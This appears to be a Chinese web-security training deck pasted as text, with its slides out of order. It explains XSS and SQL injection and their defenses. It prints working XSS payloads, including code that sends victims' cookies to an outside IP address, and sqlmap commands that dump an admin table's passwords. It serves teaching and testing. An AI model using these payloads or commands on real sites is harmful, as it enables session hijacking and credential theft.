XSS跨站攻击及SQL注入
XSS需要使用的关键字
“:!-- <XSS> = & {()}
各类伪协议头:
Javascript:vbscript:
CSS样式表脚本注入
Style = xss:expression(eval(String.fromCharCode(105,102,40 ,119,105,110,100,111,119,46,120,33,61,34,49,34, 41,123,97,108,101,114,116,40,34,120,115,115,34, 41,59,119,105,110,100,111,119,46,120,61,34,49,3 4,59,1235)))
非持久XSS
持久XSS 分享网站地 址”http://192.168.0.1/a.jsp?name=<script>alert(document.cookie)</script>”
攻击代码 var img = new Image();img.src = /log.jsp?c=“”+document.cookie”””
JAVASCRIPT处理数据输出出现漏洞 浏览器的漏洞造成的XSS 表单值容易出现XSS 搜索框、信息提示、个人资料、友情链接、北京图片
等。
各类表单值、隐藏的表单值都很危险
在搜索框中输入 “><body onload=alert(document.cookie)><“ 点击搜索课程
上图可看到已过滤反斜杠
SqlMap实例
Sqlmap.py –u /article.php?id=276 –dbms “Mysql” –current-user /*获取当前用户名称 Current user : „root@localhost‟
Sqlmap.py –u /article.php?id=276 –dbms “Mysql” –current-db /*获取数据库 Current database: „wepost‟
Sqlmap.py –u /article.php?id=276 –dbms “Mysql” --tables –D “wepost” /*指定数据库
Sqlmap.py –u /article.php?id=276 –dbms “Mysql” –columns –T “admin” –D “wepost”
什么是XSS
Cross site scripting 简称XSS
原理:利用网站的漏洞向网站的页面注入JAVASCRIPT等 脚本内容。 根源:程序的输入、输出没有考虑安全因素
XSS Cheat Sheet
/xss.html 了解不痛浏览器和各种特殊的HTML标签如何执行脚本
网页篡改:通过操作数据库对特定网页进行篡改。 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链 接,进行挂马攻击。 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户 被窜改。 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统 支持,让黑客得以修改或控制操作系统。
盗取用户cookie信息嵌入恶意代码
<XML ID=I> <X> <C><![CDATA[<img src="javas]]><![CDATA[cript:xx=new Image();xx.src='http://61.130.75.239/pic/163.asp?url='+escape(d ocument.URL)+'&cookie='+escape(document.cookie);" width=0 height=0>]]> </C> </X> </xml> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
模拟登陆
删除个人信息
XSS跨站脚本漏洞
对所有输入中的script、iframe等字样进行严格的检查,也包括HTTP请 求中的Cookie中的变量,HTTP请求头部中的变量等
不要仅验证数据类型,还得验证格式、长度、范围和内容
不要仅在客户端做数据的验证和过滤,还得过滤到服务端
XSS跨站脚本漏洞
钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站 重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至 发起基于DHTML更高级的钓鱼攻击方式。 网站挂马:跨站后利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到 恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。 身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取用户 的Cookie,从而利用该Cookie获取用户对该网站的操作权限。如果一个网站管 理员用户Cookie被窃取,将会对网站引发巨大的危害。 盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份时,攻击 者可以获取到用户对网站的操作权限,从而查看用户隐私信息。 XSS蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数 据、实施DDoS攻击等。
Sqlmap.py – /article.php?id=276 –dbms “Mysql” –dump –c “userid,password” –T “admin” –D “wepost” –v 1
SQL注入漏洞解决方案
输入验证 错误消息处理 加密处理 存储过程来执行所有的查询 使用专业的漏洞扫描工具 禁止对重要表的Drop、Insert、Update、 Delete
看似前段验证了非法字符,就已经安全了吗?错 仍然可以通过GET方法跳过前段 /groups/search?keyword=%22%3E3Cbody%20on load=alert(1)%3E%3C%22
跨站蠕虫流程图
劫持会话
记录会话
发送XSS给好 友
挂马
插入恶意的脚本内容,运行病毒、木马。
钓鱼
篡改网页内容,骗取账号、密码等诈骗行为。
劫持会话
读取会话Cookie,传送给第三方劫持身份。
XSS Worm
使用AJAX技术,做几何趋势的增长传播。
非持久型XSS
需要从URL传参,点击存储到数据库,写到固定页面。
DOM XSS
SQL注入漏洞解决方案
对所有来自用户输入的数据进行严格检查、对数据库配置 实用最小权限原则 所有查询语句都实用库提供的参数化查询接口,参数化的 语句实用参数而不是将用户输入变量嵌入到SQL语句中 对进入数据库的特殊字符(“”<>&--;等)进行转义处理或编码 转换 数据长度严格规定,能防止比较长的SQL注入语句无法正 确执行 数据层编码统一 避免显示SQL错误信息,如类型、字段
Web安全性测试
安全性测试手段
SQL注入漏洞(工具:SqlMap) XSS跨站攻击漏洞 CSRF跨站请求伪造 DDOS分布式拒绝服务 钓鱼 点击劫持
跨站脚本漏洞,SQL注入原理 跨站脚本漏洞分类 跨站脚本漏洞及案列 漏洞解决方案
漏洞的危害
SQL注入漏洞
数据库信息泄漏:数据库中存储的用户隐私信息泄露。
SqlMap使用
常见注入类型
get型:
sqlmap –u http://xxx.xx.xxx/xx.jsp?id=xx post型: sqlmap –u http://xxx.xx.xxx/xx.jsp --method POST --data “xx=1&xx=1” V 1 cookie型: sqlmap –u http://xxx.xx.xxx/xx.php --cookie “COOKIE_VALUE” V 1 或 –cookie “PHPSESSID=XXXXXX; security=low” 分号分开